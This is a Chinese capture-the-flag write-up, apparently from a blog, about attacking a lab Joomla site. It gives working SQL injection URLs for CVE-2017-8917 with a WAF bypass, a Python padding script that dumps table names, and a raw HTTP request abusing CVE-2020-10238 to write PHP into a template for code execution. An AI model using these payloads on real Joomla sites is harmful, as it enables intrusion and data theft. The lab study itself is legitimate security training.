zoukankan      html  css  js  c++  java
  • 掌控安全-封神台-擂台赛-B组复现

    做了好几天A组,太顶了,全是0day,不知道远程环境的问题还是什么,跟着复现一直打不下来,就先肝了B组,A组有时间再搞了

    信息收集

    http://awd19-b22.aqlab.cn/language/en-GB/en-GB.xml

    信息泄露 Joomla v3.7.0

    搜到CVE-2017-8917,Joomla v3.7.0 SQL注入漏洞,直接拿POC打了

    但是发现有waf,经过尝试后发现,函数加反引号可以绕过过滤

    再扫一扫,看能不能找到后台

    访问/admincp,进入后台登陆页面

    sql注入

    爆user:

    http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,user()),1)
    

    爆库名:

    http://awd19-b22.aqlab.cn/?option=com_fields&view=fields&layout=modal&list[fullordering]=`updatexml`(0x23,concat(1,database()),1)          joomla
    

    爆表名

    发现失败,测试发现过滤了select from 组合

    常见的绕过方法都试了一下,不行。只能尝试耗尽资源了

    编写exp

    import requests
    url = 'http://awd19-b22.aqlab.cn/'
    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"
    }
     
     
    for i in range(2500,9999):
        payload1 = '`updatexml`(0x23,concat'
        payload2 = "/*"+"ABC"*i+"*/(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)"
        payload = payload1 + payload2
        data = {
            "option":"com_fields",
            "view":"fields",
            "layout":"modal",
            "list[fullordering]":payload
        }
        print(i)
        re = requests.post(url,headers=headers,data=data).text
        print(data)
        print(re)
        if "url" not in re:
            print(payload)
            print(re)
    

    大概要七八千个字符的样子吧

    跑表名:

    找到像有flag的表

    跑列名:

    id和passwd

    select id from #__user_flag

    select passwd from #__user_flag

    利用账号密码成功登陆后台

    访问根目录

    在内容管理|多媒体文件管理|默认设置中可以更改默认上传路径,想改格式但是权限不够

    但是没关系,再返回多媒体文件管理处,此时可查看的文件目录已经变成根目录,发现flag

    越权

    寻找Joomla漏洞,发现CVE-2020-10238

    想尝试直接用poc打,试了一下普通管理员用户,失败

    思路:(借用零组文库中的)

    • 首先超级管理员跟管理员的后台界面是不同的
    • 将恶意代码添加到index.php里面
    • 使用管理员账户修改index.php,通过超级管理员进行index.php的文件编辑来获取到返回请求。
    POST /administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA HTTP/1.1
    Host: awd19-b22.aqlab.cn
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 151
    Origin: http://awd19-b22.aqlab.cn
    Connection: close
    Referer: http://awd19-b22.aqlab.cn/administrator/index.php?option=com_templates
    Cookie: 130278f82abbc8f1ceb3ac4309021b2b=slam3h7l6okovrs20tvp1fesq0; security_background_key=9b7cb5d77dcd0fd33bcc81776e969fbc; 690431198df27d8fa794457ed53cca89=bffrsha2dq6ueau37ssp0pf176
    Upgrade-Insecure-Requests: 1
    
    jform%5Bsource%5D=<?php phpinfo() ?>&task=template.save&7f2ce2c7034f63a9d01ad505d26d83ee=1&jform%5Bextension_id%5D=506&jform%5Bfilename%5D=%2Ferror.php
    

    提交如上数据包,访问/templates/protostar/error.php

    phpinfo成功执行

    由于有waf,就不写shell了,直接ls爆路径,爆出flag即可

  • 相关阅读:
    bootstrap中的动态加载出来的图片轮播中的li标签中的class="active"的动态添加移除
    细碎的小定义的记录
    jQuery动态添加的元素中处理字符串溢出后在指定字符数后添加省略号
    ASP.NET中扩展FileUpload的上传文件的容量
    SVN错误:Attempted to lock an already-locked dir
    Eclipse中jsp、js文件编辑时,卡死现象解决汇总(转)
    修改weblogic端口的方法
    oracle 使用触发器实现id自增
    nui UI 具有右键属性的菜单树
    eclipse中 将java项目转换为web项目
  • 原文地址:https://www.cnblogs.com/karsa/p/14389372.html
Copyright © 2011-2022 走看看